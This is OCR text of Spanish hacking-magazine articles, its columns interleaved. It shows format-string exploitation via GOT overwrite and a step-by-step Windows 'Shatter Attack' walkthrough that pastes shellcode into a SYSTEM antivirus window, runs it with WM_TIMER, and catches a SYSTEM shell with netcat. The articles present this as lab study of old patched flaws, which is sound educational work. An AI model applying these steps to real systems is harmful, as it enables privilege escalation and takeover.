3ª escritura: Dirección 0x0804963e, es importante. Si miramos en la salida podido notar en la salida del comando
relleno 0xFF – 0xFB = 0x04 ( 4 decimal) anterior, vemos que lo que ha escrito objdump -h ejemplo3 realizada en el
4ª escritura: Dirección 0x0804963f, dicho campo es el valor bffffadc, que si apartado anterior del artículo, no está
relleno 0x1BF – 0xFF = 0xC0 (192 contamos son 8 caracteres, con lo que marcada como READONLY, y por tanto
decimal) nos ha desmontado la fiesta... Así pues, nada nos impide modificarla.
qué hacemos? Pues vamos a cambiar
Ahora, con estos cálculos en mano, solo el %3x por algo que escriba los 3 Así pues, ¿cómo vemos el contenido de
nos falta armar la cadena de formato. caracteres que queremos. Por ejemplo, la sección GOT? Pues una vez más, con
Espero que tanto los cálculos de arriba % 3c escribirá 3 caracteres, pues leerá ayuda de la utilidad obdjump. Ejecu-
como la cadena sea perfectamente uno solo ( %c ), y lo rellenará con tando la orden objdump -R nues-
comprendida. Si no es así, vuelve a leer espacios. Así, si todo va bien, tendremos tro_ejecutable veremos todas las funcio-
el apartado en el que se habla del nuestra shell :-) :(listado 19) nes de la GOT de nuestro ejecutable.
m é t o d o p a ra e s c r i b i r va l o r e s e n Veámoslo con ejemplo3: (listado 20)
memoria, y si aún así no lo entiendes, Yuuhuuu!! Ya hemos logrado ejecutar
nuestra shellcode con los privilegios del Bien, aquí vemos que este programa
pásate por el foro y te lo intentaremos proceso ejemplo3. En este caso ha sido solamente utiliza cuatro funciones, dos
explicar de otro modo :-). ejemplo3, pero imagina que hubiese de ellas utilizadas para iniciar el
sido una aplicación importante en tu programa, y las dos de las librerías que
Bueno, pasemos a la ejecución de sistema/red, como por ejemplo un hemos puesto nosotros en el código:
nuestro plan:(ver listado 18) servidor de mail, o un determinado strcpy() y printf(). Vemos a la izquierda
proxy que uses (en bugtraq últimamente la dirección de memoria donde se
Wo w ! ! ¿ ¿ ¿ Y e s o ? ? ? o _ 0 ! ! Va l e , ha habido noticias sobre varias vulnera- almacena la dirección de las funciones.
tranquilidad, pensemos un poquito ;-). bilidades de cadenas de formato, en En el caso de printf, vemos que su
Como se ha explicado al introducir el programas como hashcash o snmppd dirección se encuentra en 0x08049654,
campo de padding de los modificadores para linux, o cierto servidor de mail así que ya sabemos qué dirección vamos
de formato, este especifica únicamente para windows. Para los interesados, a sobrescribir, y con qué, pues ya
el ancho mínimo de un campo, y esto podéis mirar en http://www.se tenemos la shellcode en memoria :-).

40
Como la shellcode está en el mismo sitio Con estos tres artículos he intentado entender mejor el funcionamiento de
de antes, los cálculos nos valen. Sin que podáis entender a qué se deben vuestro sistema, y hayáis adquirido unas
embargo, variaran las direcciones de varios tipos comunes de vulnerabilidades bases que os ayuden a comprender el
memoria, pues en lugar de empezar en que están a la orden del día, que porqué de nuevas vulnerabilidades, y
0x0804963c, esta vez tenemos que entendáis cómo se pueden explotar y con unos pocos conocimientos de C y
empezar en 0x08049654. Así, como ya porqué, y veáis lo peligroso que puede C++, podáis entender el funcionamiento
tenemos claro cual es la cadena de resultar un error en la programación de principal de los exploits que circulan por
formato que tenemos que poner, vuestras aplicaciones. ahí, y sepáis como podéis protegeros
pasamos a la ejecución de nuestro plan: de ellos.
(listado 21) Espero haber conseguido que a partir
de ahora, cuando programéis una Sin más, espero que estos tres artículos
Una vez más, como puedes observar, aplicación que deba funcionar en un hayan sido de vuestro agrado, y hayáis
hemos conseguido ejecutar nuestra entorno de producción, en algún lugar disfrutado tanto como lo he hecho yo
shellcode con los privilegios del crítico donde pueda recibir ataques, aprendiendo y experimentando acerca
programa atacado :-). Por tanto, con tengáis muy en cuenta la seguridad y de estos temas. De nuevo os invito a
éste ya sabemos dos métodos para la necesidad de validar los datos de acercaros al foro de esta revista
poder ejecutar código arbitrario (una entrada de los usuarios. Si no lo tenemos (http://www.hackxcrack.com/phpBB2)
shellcode) en un proceso que realice un en cuenta, podemos ser víctimas de a compartir vuestras dudas con todos
mal uso de las cadenas de formato. ataques que, como ya habéis podido los usuarios del foro, y a aprender juntos
comprobar a lo largo de estos artículos, :-).
comprometan totalmente nuestros Hasta la próxima.
sistemas. Por ello os invito a que leáis
Con este artículo llega a su fin esta algún texto sobre programación segura Eloi S.G.
pequeña serie de artículos sobre para poder evitar todo esto. (a.k.a. TuXeD)
explotación de errores de programación
iniciada en el número 27 de esta revista. Además, espero que con esto podáis

CONSIGUE LOS NÚMEROS


AT R A S A D O S E N :

Y
En esta sección viajaremos al pasado, abrimos la puerta del desván, sacudiremos el polvo de
algunos bugs y exploits que por su singularidad y forma de actuar dejaron al descubierto la
fragilidad de nuestros ordenadores personales, de nuestros sistemas de protección y de todo
aquello en lo que confiábamos.

si lo aplicamos a nuestro objetivo: Esta sección te permitirá


avanzar, mirar al frente porque serás conocedor del pasado
1º) Explicar claramente y sin demasiados y tienes bien aprendida la lección.
tecnicismos el agujero de seguridad que sea el
objeto de cada artículo. R: Muchos de los artículos de esta sección son "el poso"
con el que muchas de las técnicas y tácticas "nos asaltan",
2º) Revisar algunos de los "white papers" en muchas ocasiones virus y código dañino se aprovechan
que fueron publicados en su momento, para ello de estas situaciones y no son otra cosa más que la
haremos una traducción - no literal, si no más automatización de las mismas.
bien adaptada a cada caso/técnica
Se me ocurren varias razones más, pero creo que con
3º) Llevar a la práctica y con ejemplos guiados éstas es suficiente para dar rigor y fundamento a esta
la "discusión" de los White Papers, a nuestro serie, pero RECUERDA: no es oro todo lo que reluce, en
estilo, paso a paso... ocasiones tendremos que provocar expresamente la
existencia de la vulnerabilidad para que pueda ser
Lo que no encontraréis en estos artículos será "el último explotada, en definitiva, esta serie de artículos no dejaran
grito", bugs-exploits del tipo 0-days, todo lo contrario, en de ser "prácticas de laboratorio":
su mayor parte están tapados, cerrados y a buen recaudo,
sólo equipos sin las correspondientes actualizaciones de ¿qué mejor para nuestros fines que convertirnos en un
seguridad serán vulnerables a dichos ejemplos. banco de pruebas?

Pe r o e s t o ú l t i m o n o h a d e d e s a n i m a r a l l e c t o r, ¿qué mejor para nuestros fines que llevar la investigación


contrariamente a lo que muchos de vosotros podáis llegar a nuestras casas?
a pensar: ".... bahhh!!! ¿para qué un artículo dedicado al
"hack" con información obsoleta y desfasada? ..." pues ¿qué mejor para nuestros fines que convertir un viejo
se me ocurren varias respuestas: PC o una partición de nuestro disco o una máquina virtual
en un quirófano, en una sala de operaciones en la que
R: ¿quién no ha deseado CONOCER y ENTENDER esas seremos el cirujano jefe teniendo el control de todos los
formas singulares de acceso o debilidades manifiestas? procesos?

R: Como se dice habitualmente, "Los pueblos que no Éstas son otras tres de las razones por las que nos
conocen su pasado están abocados a repetir su Historia", aventuramos a esta nueva sección de la que vosotros

42
tendréis la última palabra, la continuidad porción de memoria para entregarnos Para ello es necesario que Windows
de la misma es cosa vuestra, de vuestra esa sesión privilegiada y lo haremos esté ejecutando una aplicación (servicio
aceptación e interés... no queremos gracias a un antivirus, o a un firewall, interactivo) que requiera de un nivel de
hacerla "una sección fija", más bien o a cualquier proceso que corra en LocalSystem (ejecución local con los
habitual o periódica, no permanente... nuestra máquina con privilegios máximos privilegios), esto no es nada
aunque también en esto vuestra es la superiores a los que disponemos, difícil, muchos Antivirus, cortafuegos y
última palabra... y ahora no me enrollo utilizaremos un debugger, etc. vamos, otras aplicaciones se ejecutan en ese
más... que va como anillo al dedo de lo que se contexto, el único requisito es que esas
ha ido explicando y desarrollando hasta aplicaciones con privilegios de System,
Dicho todo lo anterior... ¿Por dónde ahora, no es casual, no... cuando leí ofrezcan al usuario sin privilegios un
comenzamos? ¿Por cual? ¿Quien ese artículo de cómo burlar al antivirus interfase para que el usuario interactúe
será nuestro primer banco de me vino a la memoria este caso que en con ellos, como por ejemplo un antivirus
pruebas? su momento provocó respuestas de y sus tareas programadas, también es
Microsoft del tipo "Eso no es una preciso que dicha interfase ofrezca algún
Es tarea difícil, es tan abrumadora la vulnerabilidad....." hasta que se dio control del tipo edit-box (cuadro de
cantidad de información, documentos y cuenta de que SI lo era. texto donde escribir algo, una contraseña,
listas de seguridad que quizás es más una descripción, una fecha, etc..)
difícil elegir uno que redactar este Esta es una vulnerabilidad bien conocida,
artículo.... pero entre todos ellos escogí y al mismo tiempo no muy.... bueno, Microsoft publicó un parche de
uno que bien podría ser el título de este no tienes más que darle al botón de seguridad que corregía dicho agujero,
artículo: Windows vulnerable por ser buscar de nuestros foros ( pero más tarde el propio Paget y Oliver
Windows. http://www.hackxcrack.com/phpBB2/ Lavery, investigador de la compañía
search.php ) y escribe la palabra shatter iDefense hacía público otro informe
La frase es ingeniosa donde las haya, como criterio de búsqueda.... sólo dos que promulgaba que dicha vulnerabilidad
Windows vulnerable por ser míseros post.... no era casual haber seguía existiendo a pesar del parche y
Windows...ya me hubiese gustado ser elegido empezar por este bug... ya van que muchos de los productos del
su autor. tres. mercado eran susceptibles de usarse
mediante la técnica descrita por Paget.
Se trata de una técnica basada en el
Microsoft se mantuvo en sus principios
llamado "Shatter Attack", explotando
y anunciaba que no era una vulnera-
A P I W i n 3 2 p a ra l a e s c a l a d a d e
"Hacia mediados del año 2002, Chris bilidad como tal, no podía explotarse
privilegios.
Paget, un experto británico, hizo público de forma remota y precisaba del acceso
un informe conocido como "Shatter físico a la máquina afectada, por ello le
En palabras llanas... Obtener una línea
Attacks - How to break Windows", que restó importancia y durante varios
de comandos (shell del sistema) con el
describía fallos fundamentales en el (muchos) meses más, siguieron al des-
máximo de privilegios y hacernos con
diseño de Windows, y que se basan en cubierto nuestros equipos.
el control total de una máquina
la manera de funcionar de las APIs
Windows 2000/XP (sin parchear,
(Application Program Interface), un Podéis seguir por completo las explica-
claro)
conjunto de rutinas que un programa ciones en: http://www.vsantivirus.-
de aplicación utiliza para solicitar y com/13-08-02.htm
La elección de que haya sido éste y no
efectuar servicios de nivel inferior
otro tampoco es casual, desde hace un Como bien dice en esos artículos, virus
ejecutados por el sistema operativo."
tiempo, en esta nueva era de HxC los y troyanos pueden aprovecharse de esta
redactores de la revista han ido Así comenzaba una alerta de circunstancia (y aunque Microsoft decía
enseñándonos las shellcode, gracias vsantivirus en el año 2003 (UN AÑO que no era "importante", creo yo desde
TuXeD, y en el último número aparece DESPUÉS), podéis consultar el texto mi modesta opinión, que un virus-
un artículo de autor anónimo que íntegro en: http://www.vsantivirus.com troyano que se instale en tu máquina y
demuestra lo sencillo que es engañar a /shatter-attack.htm entregue una shell remota a un individuo
un antivirus que base su detección en cualquiera, no deja de ser un GRAVE
el método de firmas o que su poder Haciendo un resumen de lo expuesto, problema, es cierto que se precisa de
heurístico sea cuanto menos discutible, el asunto es que Paget abrió al mundo acceso local, como afirmaba
mis más sinceras felicitaciones a su una nueva forma en la que un usuario Microsoft... pero de eso se ocuparon
autor y a su método RiT. sin privilegios puede llegar a sacar los virus y troyanos... Windows se
provecho de esta vulnerabilidad y ocupaba del resto.
No es casual la aparición de este texto asignarse a si mismo los máximos
como dije antes... no lo es porque en privilegios del sistema atacado, el status Obviamente el "problema" no es/era la
el mismo haremos de él la necesidad de LocalSystem, el nivel superior al denominada "Shatter Attack", si no el
de ejecutar una shellcode en una del administrador. virus que nos llega por correo que se

43
aprovecha de la situación... y digo yo... Como estarás intuyendo, si somos la misma que usa el exploit Jill,
¿Es que Microsoft no llega a eso?, capaces de enviar una shellcode a una la encontraréis en el mismo zip de
sorprendente.... ventana desplegada por el Sistema con http://security.tombom.co.uk/sh
privilegios superiores a los que a t t e r. z i p c o n e l n o m b r e d e
El documento original que Paget disponemos, sólo nos hará falta conocer sploit.bin
d e s a r r o l l ó e n : h t t p : / / s e c u r i t y. la dirección de memoria del inicio de la
tombom.co.uk/shatter.html shellcode para poder ejecutarla, debido Opcionalmente herramientas que
a que Windows no chequea el origen listen procesos como pslist de
Y la ampliación por Oliver Lavery: del mensaje, si una ventana le dice a sysinternals, o del propio kit de
otra que haga "tal cosa", obedecerá, lo recursos, como estamos usando
http://www.packetstormsecurity.org/p
que decía el artículo de vsantivirus... un XP nos bastará con el
apers/Win2000/Shatter_Redux.pdf
Windows Vulnerable por ser administrador de tareas, también
Windows. si se desea alguna herramienta
Bueno, hablemos de forma más
sencilla... ¿esto en qué consiste? que nos muestre el usuario que
Vamos a aplicar en este artículo las somos y/o a los grupos que perte-
técnicas descritas por Pager y necemos... del tipo whoami.exe
Pues simplemente en encontrar un
necesitaremos para nuestra práctica: del Kit de recursos.
proceso "vulnerable" que se ejecute con
privilegios de System y en el que el Una aplicación capaz de enu-
usuario pueda interactuar con él, en el m e ra r v e n t a n a s , o b t e n e r s u Si mantienes tu antivirus actualizado,
que pueda "rellenar" algún campo de posición y capaz de enviar los probablemente te reconocerá el archivo
tipo texto sólo que en lugar de escribir mensajes necesarios, esto nos lo shatter.zip o shatter.exe (una vez
en ese campo un texto "normal" escriba brinda Paget: http://security. descomprimido) como un virus... si es
en el mismo una shellcode (que no es tombom.co.uk/shatter.zip así desactívalo, no te preocupes, nada
otra cosa que un programa que nos malo ocurrirá... aunque como dije al
enviará una línea de comandos), como Una aplicación que se ejecute principio, lo mejor será que uses un
la aplicación "vulnerable" se ejecuta con con privilegios de System, Paget sistema de pruebas... ya sabes... lo del
privilegios de System, la shellcode en su documento original, lo hace laboratorio de investigación...
nos enviará una shell con idénticos con un antivirus llamado
privilegios. VirusScan v4.5.1 corriendo en
un Windows 2000 Professional,
Oliver Lavery lo demuestra con
vnc, nosotros vamos a usar un
Windows XP Professional y una
versión de Norton, a la cual de 1.- Localizar una ventana de la
Pues por la forma en que Windows
forma intencionada la hacemos aplicación (para el caso que nos
está diseñado... Cuando Windows abre
correr al inicio del sistema como concierne el antivirus) que corra
una ventana y el usuario la utiliza, los
proceso con privilegios de System, como LocalSystem que
llamados "mensajes de Windows"
esto es importante remarcarlo, disponga de una caja de texto
envían información acerca de lo que el
puesto que Norton Corporate no donde poder escribir la
usuario hace: un clic, la pulsación de
funciona así... hemos obligado al shellcode y obtener el
teclas, el movimiento del ratón, etc...
antivirus a correr de forma "manejador" de ventana.
hasta aquí todo normal, como ha de
privilegiada,
ser... sólo que el diseño de Windows no
2.- Eliminar las posibles
e s t a b a p r e p a ra d o p a ra d o t a r d e
El bloc de notas de Windows... restricciones que afecten a la
seguridad la comunicación entre
eso viene de serie... notepad.exe caja de texto, como puede ser
ventanas, me explico:
la longitud máxima de
Un debugger cualquiera, para caracteres que puede albergar.
Cualquier ventana puede enviar a otra
cualquier mensaje (entiéndase mensaje seguir con las explicaciones de
Paget, usaremos el Win 3.- Pegar en la caja de texto el
como las acciones que el usuario efectúa
Debugger: http://www. microsoft. código binario del programa a
como ya se dijo antes) de tal forma que
com/whdc/devtools/ddk/default. ejecutar (la shellcode)
si construimos una aplicación que sea
capaz de enviar a una ventana mspx
4.- Averiguar la posición de
desplegada por Windows algún tipo
Nuestro bien amado netcat... memoria en que se pegó la
de mensaje "malicioso", la ventana
shellcode y ejecutarla.
receptora no valida la seguridad de la
comunicación... simplemente carga ese Una shellcode, usaremos la
misma que Paget utiliza en su Parece sencillo... y además son pocos
código en la porción de memoria que
ejemplo, por Dark Spyrit! que es pasos :P
tiene asignada.

44
Ahora abriremos una shell (inicio- Aceptamos y buscamos el proceso del
Antes de comenzar con el ejemplo real, ejecutar-cmd) accedemos a la carpeta antivirus que corre con privilegios de
hagamos algunas pruebas y preparemos H X C S H A T T E R y ve a m o s q u i e n e s System, en esta ocasión se trata del
todas nuestras herramientas: somos:(pantalla 2) proceso número 356 cuyo nombre
es vpc32.exe, ni que decir tiene que
Primero vamos a probar con la cuenta Bien, vemos que pertenecemos al grupo en tú sistema probablemente sea otro
del administrador, es decir, como es un de administradores (y muchos otros) proceso o si no usas el mismo antivirus
banco de pruebas vamos a seguir la también será otro nombre.(pantalla 4)
práctica como administradores del
sistema e instalamos todo lo necesario:
Descomprimimos el archivo que nos
b a j a m o s d e h t t p : / / s e c u r i t y. Pulsamos CTRL+ALT+Supr y acce-
t o m b o m . c o . u k / s h a t t e r. z i p y l o demos al administrador de tareas y
almacenamos en una carpeta cual- en el menú de ver elegimos
quiera, crearemos una carpeta llamada seleccionar columnas y marcamos
HXCShatter y en ella colocaremos gran la casilla de identificador de proceso
parte de lo necesario, a saber: (PID)(ver pantalla 3)

El archivo shatter.exe
El archivo nc.exe (netcat)
El archivo whoami.exe (del kit
de recursos para conocer quienes
somos)

El archivo sploit.bin
Pantalla 4. Identificación del proceso
renombrado como sploit.txt (no privilegiado vpc32.exe
es preciso cambiarle la extensión,
pero así lo podremos abrir direc- A h o ra e j e c u t a m o s e l p r o g r a m a
s h a t t e r . e x e d e n u e s t ra c a r p e t a
tamente con el bloc de notas sin HXCSHATTER (pantalla 5)
más)
Pantalla 3. Selección de columnas en
Quedará más o menos así:(pantalla1) el administrador de tareas

Pantalla 1. Contenido de la carpeta HXCSHATTER

Pantalla 5. Ejecución del programa


shatter.exe

Por el momento no explicaremos qué


Pantalla 2. Resultado de la ejecución de whoami.exe
hacen los botones y los parámetros que
hay que poner en las casillas de texto
correspondiente.

Ahora abrimos el proceso del


antivirus que corre como system, el
vpc32.exe (ver pantalla 6).

Ahora seguimos los pasos descritos, el


método divulgado por Paget se resume
en cuatro fases y nos toca la primera
de ellas:

45
descripción del mismo si lo desea
(pantalla 8).

La segunda parte de este primera fase


es obtener "el manejador" de
ventana... eso es simplemente el
identificador de ventana, como
Windows puede usar varias ventanas
al mismo tiempo en una misma sesión,
a cada una se le entrega un identificador
único, algo parecido al PID de los
procesos pero aplicado a las ventanas,
de tal forma que cuando el usuario
interactúa con la ventana abierta se
envían los eventos y mensajes de
usuario junto con el manejador (el
número) que corresponde a dicha
ventana.

Pantalla 6. Ejecución del antivirus, proceso vpc32.exe Para conseguir ese valor, usaremos el
programa shatter.exe que ya tenemos
como LocalSystem que disponga de
en ejecución, pulsamos en el botón
una caja de texto donde poder
Enumerate windows y desplazamos
escribir la shellcode y obtener el
el deslizador que hay a la derecha
"manejador" de ventana.
encontraremos el/los identificadores de
ventana de Norton... algo así:(ver
Localizar la ventana es sencillo, si
pantalla 9)
hacemos un repaso por las opciones

que nos brinda el antivirus, descubrimos


que en el menú Edit-New Startup
Scan nos aparecerá una serie de cajas
de texto en donde escribir lo que espera
Pantalla 7.- Nueva tarea para el antivirus el antivirus de nosotros(pantalla 7)

Pantalla 9. Enumeración de las ventanas


activas

Alguno de esos valores son los que se


corresponden con las casillas Name y
Description, no hay que ser muy ducho
para averiguarlas:

1402a6 - name

1b0262 - description

Pero realmente no son esos... esos


Pantalla 8. Localización de una ventana con cajas de texto en el antivirus corresponden a los identificadotes de
las etiquetas que muestran las palabras
name y description, no a las cajas
Disponemos de dos cajas de texto
de texto... es decir, los que nos
Localizar una ventana de la (name y Description) en donde se
interesan son justamente los que
aplicación (para el caso que nos supone que el usuario escribirá un
hay una posición por debajo de ellas,
concierne el antivirus) que corra nombre para el escaneo a realizar y una
concretamente:

46
1402a2 y 1b0266

También podemos usar el botón de Get


Cursor window, esto es más cómodo
puesto que nos responderá exactamente
con el identificador de ventana en donde
hagamos clic, veámoslo... explicarlo
mediante palabras escritas es más difícil
que hacerlo...

Vamos a poner las dos ventanas "al


alcance", así:(pantalla 10)

Como ves, la ventana de shatter está


por encima de la del antivirus... y
pulsamos en el botón Get Cursor
window(pantalla 11)

Aparece 240376 en mi ejemplo... pero


Pantalla 10. Averiguar el identificador mediante Get Cursor window (parte I) ese es el manejador del propio
shatter, ahora desplazamos el cursor
del ratón sobre "el trocito" de la casilla
de texto correspondiente a Description
que se ve por detrás y una vez hayamos
alcanzado el área en blanco de la caja
de texto, pulsaremos enter(pantalla
12)

El identificador de ventana es el
1b0266 que es el mismo que
"suponíamos" antes, elige el método
que más te guste... pero recuerda no
hacer clic por ningún sitio una vez
pinchado en el botón Get Cursor
Window o tendrás que repetirlo...

Ahora que ya tenemos el número


Pantalla 11. Averiguar el identificador mediante Get Cursor window (parte II)
correspondiente al manejador, lo escri-
bimos en Handle (DWORD) dentro
del programa shatter:(pantalla 13)

Vale ya sabemos para que sirven dos


de los seis botones del programa
shatter y también conocemos que en
handle hay que escribir el identificador
de la ventana a la cual queremos
acceder.

Ahora abriremos el bloc de notas y


escribe lo que se te ocurra... a mí se
me ocurrió esto:(pantalla 14)

Y aunque parezca estúpido, seleccionas


todo y pulsas ctrl+c (copiar) regresa
al programa shatter y pulsa en el botón
VM_PASTE.

Pantalla 12. Averiguar el identificador mediante Get Cursor window (parte III)

47
Si miras en el Antivirus... SORPRESA!!!! R: Porque la caja de texto donde
(pantalla 15) estamos enviando el mensaje sólo
permite 256 caracteres, si intentamos
Se ha copiado ... a continuación del escribir más no nos lo permite y con
texto que ya existía, pulsemos varias esto enlazamos con la segunda fase del
veces en WM_PASTE (10 ó 12 al método expuesto por Paget
menos)(pantalla 16)

Como ves se ha ido pegando... pero


llega un momento que no nos hace
caso... ya no "pega" más veces la frase... Eliminar las posibles restricciones
¿por qué? que afecten a la caja de texto, como
Pantalla 13. Escribir el identificador puede ser la longitud máxima de
único de ventana en Handle (DWORD) caracteres que puede albergar.

Acabamos de darnos cuenta que nuestra


caja de texto sólo admite 256
caracteres... por tanto o le obligamos
a que acepte más o nos tocará usar una
shellcode de menos de 256
caracteres... no es nuestro caso, la
Pantalla 14. Probando a escribir cualquier cosa en el bloc de notas
shellcode que vamos a usar ocupa unos
2K, vamos, que necesitamos romper
esa restricción.

Volvemos a nuestro bloc de notas,


escribimos un mensaje más largo...
de más de 256 caracteres, por
ejemplo:(pantalla 17)

Al igual que antes, seleccionamos todo


y CTRL+C (copiar)

Si intentamos pegar mediante el


botón WM_PASTE no lo hará al
completo, se pegarán los 256 primeros
caracteres y el resto no.

Pantalla 15. Observamos los resultado después de pulsar en WM_PASTE Así que volvamos a nuestro shatter
y en WPARAM (DWORD) escribiremos
.... FFFFFF esto equivale a 16.777.216
que serán los caracteres que vamos a
poder escribir... si te faltan pon más,
por ejemplo FFFFFFFF unos 4 Gigas...
:P

Pero antes de pulsar de nuevo en


WM_PASTE, pincha en
EM_SETLIMITTEXT y "haremos el
hueco necesario", luego ya puedes
pulsar en WM_PASTE y verás que se
pudo escribir más de 256 caracteres....
todos los que quieras.... :P (pantalla
18)

Bueno, está claro, ¿no?

Pantalla 16. Comprobamos que el espacio disponible es insuficiente

48
Con el botón EM_SETLIMITTEXT
podemos fijar el número de
caracteres máximo que una caja de
texto puede almacenar, la cantidad de
caracteres que almacena se define con
el valor hexadecimal que escribamos en
WPARAM (Dword).

Pegar en la caja de texto el código


binario del programa a ejecutar (la
Pantalla 17. Probando a escribir un texto de más de 256 caracteres
shellcode)

Bien, pues basta de prácticas con

Wadalbertia... vamos a borrar todo


lo que escribimos como Descripción
y abrimos el archivo sploit.txt que
guardamos en la carpeta HXCSHATTER
hace unos instantes:(pantalla 19)

Seleccioné Formato y quité la marca


de verificación en Ajuste de Línea,
de esta forma no hay retornos
automáticos de línea y nos aseguramos
que la shellcode no incluye caracteres
no deseados.

Selecciona TODO y cópialo como


Pantalla 18. Comprobamos que ahora sí se pegaron más de los 256 caracteres
permitidos hacíamos antes... eso incluye la
primera línea, la que comienza por
FOON (luego explicaremos qué es esto
y para qué sirve)

Ahora ajusta el tamaño con FFFFFF


en WPARAM, pincha en
EM_SETLIMITTEXT para permitir la
Pantalla 19. Eliminamos los saltos de línea no deseados. escritura superior a los 256 caracteres
y por último pulsamos en WM_PASTE
para pegar la shellcode en la ventana
Description del antivirus.

Si revisamos la ventana del Norton se


habrá pegado la shellcode enterita :P
(pantalla 20)

Averiguar la posición de memoria


en que se pegó la shellcode y
ejecutarla.

Para averiguar la posición exacta de


memoria en donde está la shellcode
Pantalla 20. La shellcode es enviada a la ventana del antivirus

49
primera) con la palabra FOON seguida
de "unos cuadraditos"

Esos cuadraditos son NOP's (nada,


no hacer nada, es una instrucción que
no hace nada) concretamente, las letras
FOON y los NOP's suman 1024
caracteres (1K) y a partir de ahí está
la verdadera shellcode...

Pantalla 21. Pantalla inicial del progrma WinDbg


Pulsamos F6 que nos permitirá
examinar los procesos que se están
ejecutando en memoria y entre ellos Pues FOON es una palabra que nuestro
buscamos el que corresponde a querido Paget colocó para que se pueda
nuestro antivirus, el vpc32.exe(ver encontrar rápidamente y así delate el
pantalla 22) inicio de la shellcode y podamos buscar
dicha secuencia en el debugger.
No se te olvide verificar la casilla
Noninvasive como muestra la Para encontrar la shellcode (la palabra
pantalla 22... de ese modo no
interferiremos con la ejecución del FOON) pondremos esto en la línea de
antivirus y/o lo dejaremos fuera de comandos del depurador:
combate...una vez seleccionado el
proceso en memoria y verificada la s -a 00000001 10000000 "FOON"
casilla pulsamos en OK
(pantalla 25)

Si no aparece nada... selecciona Wiew


Pulsamos enter... y.... (pantalla 26)
en el menú y Command (pantalla
23)
Aparecen dos direcciones de
Pantalla 22. Seleccionamos el proceso
vpc32.exe y marcamos no invasivo memoria: 1684f8 y 168c00, tal y
como dice Paget, no tengo ni idea de
porqué aparece dos veces, si no lo sabe
él, tampoco yo... pero no importa,
cualquiera de ellas funcionará y nos
servirá, cogeremos la última, por
ejemplo.

Tenemos que FOON comienza en la


posición 0x00168c00 como sabemos
que hasta el comienzo de nuestra
shellcode existen 1024 bytes (las
cuatro letras de FOON y 1020 NOP).

Para asegurarnos que la shellcode se


ejecuta desde el principio, haremos caer
la ejecución a partir del byte 512, de
esa forma ejecutará unos cuantos NOP’s
antes de comenzar con el verdadero
código, de esa forma sabemos que la
verdadera shellcode se ejecuta desde
Pantalla 23. Abrir la ventana del depurador y su línea de comandos el inicio, por tanto le sumaremos 512
bytes (0x200 en hexadecimal) a la
dentro de la caja de texto de la Aparecerá algo parecido a
posición en la que se encuentra la
ventana del antivirus vamos a necesitar esto:(pantalla 24)
cadena FOON.
un debugger, lo haremos con
windebugger, una vez instalado lo Si recuerdas cuando pegamos la
0x00168c00+0x200=0x00168e00
ejecutamos: (pantalla 21) shellcode, aparecía una línea (la

50
Volvamos a shatter... y escribimos
todo lo que necesitamos:

En WPARAM escribimos el
desplazamiento y en LPARAM la
posición en la que se empezará a
ejecutar el código de nuestra shellcode,
ahora sólo resta pulsar en WM_TIMER
y rezar....

¿qué es eso del WM_TIMER?


Pantalla 24 Ventana de comandos del depurador.
Pues un mensaje de Windows que cada
vez que transcurre un determinado
tiempo, se envía un mensaje
WM_TIMER a la ventana y pasa como
parámetro su ID, estos mensajes se
colocan en una especie de cola de
procesos para que sean atendidos y
como Windows no comprueba la
seguridad del mensaje, el resultado es
la ejecución de la shellcode.

Veamos que ocurrió con el netcat qué


dejamos a la escucha.... (pantalla 29)
Pantalla 25. Búsqueda en memoria de la cadena de caracteres "FOON"
OHHH !!! se conectó.... milagro?
suerte? casualidad? NOOOOO!!! UN
BUG COMO UNA CASA

Si hacemos un whoami veamos que


informa... (pantalla 30)

Casi nada... una shell con privilegios de


sistema....

Como ves funcionar funciona... claro,


que estarás pensando lo inviable de este
tipo de ataques... no seas como
Pantalla 26. Resultado de la búsqueda y posiciones en la que se encuentra. Microsoft y no subestimes lo inevitable.
Aparecieron algunos virus y troyanos...
para aplicaciones de control remoto del
tipo dameware, pero sobretodo aquel
que explotaba el administrador de
utilidades mediante winhlp32.exe que
invoca a la ayuda de Windows, cabe
Pantalla 27. netcat a la escucha.... Esa es la posición...que debemos resaltar que ese archivo se ejecuta de
anotar forma oculta y con privilegios de
System, por lo que se entregaba una
Ahora abandonaremos el debugger, shell con máximos privilegios... y eso
escribimos q en la línea de comandos y fue sobre abril de 2004 dos años más
cerramos la ventana) tarde que el documento de Paget y un
año después del parche.... menos mal
A h o ra p o n g a m o s u n n e t c a t a l a que estaba parcheado según
escucha... si todo va bien la shellcode Microsoft...
entregará una línea de comandos por
el puerto 123, por lo que vamos a dejar El parche de "in-seguridad y sus
a netcat escuchando por dicho puerto: explicaciones" podéis encontrarlo aquí:
(pantalla 27) http://www.vsantivirus.com/vulms02-
Pantalla 28. Configuración de shatter, 069-070-071.htm#3
HANDLE, WPARAM Y LPARAM.

51
al azar, no es muy elegante pero
funcionar funciona. Además, muchas
aplicaciones pueden causar errores si
“tocamos” donde no se debe... eso es
bastante útil para hacernos una idea de
las posiciones de memoria en las que
se ejecutan.

Bueno, eso será de tu cosecha... quien


Pantalla 29. La shellcode se conecta al netcat que dejamos a la escucha. os escribe lo consiguió tras media docena
de intentos... pero eso no es el objeto
de este artículo, el verdadero sentido
del mismo es profundizar un poquito en
esos bugs y agujeros de seguridad que
a veces tanto nos asombran, y no es
para menos, la técnica, la elaboración
d e l o s p r o g ra m a s n e c e s a r i o s , l a
shellcode.... todo un arte de ingenio
y sabiduría, un verdadero placer que
gente como Paget, Lavery, Dark
Spyrit y multitud de auténticos mons-
truos de la informática compartan con
Pantalla 30 Tras un whoami descubrimos que tenemos una shell de System nosotros sus avances y conocimientos...
a nosotros nos toca descubrirnos ante
Los sistemas afectados hasta lo del depurador no es más que uno de ellos y nos conformamos con entenderlo,
octubre de 2004!!! por algún tipo de los instrumentos que necesitábamos por algo se empieza... digo yo....
Shatter Attcack como el que acabamos para nuestro "laboratorio" de prácticas.
de describir son: La técnica descrita por Paget, es la más
Microsoft Windows 98, 98SE, ME Si practicas "un poco" verás que es sencilla de "demostrar" y también de
Microsoft Windows NT 4.0 perfectamente posible realizar la misma parchear, como hizo Microsoft, el
Microsoft Windows 2000 Service técnica como usuario y cuenta limitada, documento de Oliver Lavery avanza
Pack 4 no podrás usar el debugger, pero si en el ataque prescindiendo de los men-
Microsoft Windows XP, Microsoft haces bastante hueco mediante sajes del tipo WM_TIMER
Windows XP Service Pack 1 EM_SETLIMITTEXT y metes unos
Microsoft Windows Server 2003 cuantos megas de NOP's no te será Saludos. Vic_Thor
difícil encontrar una posición válida
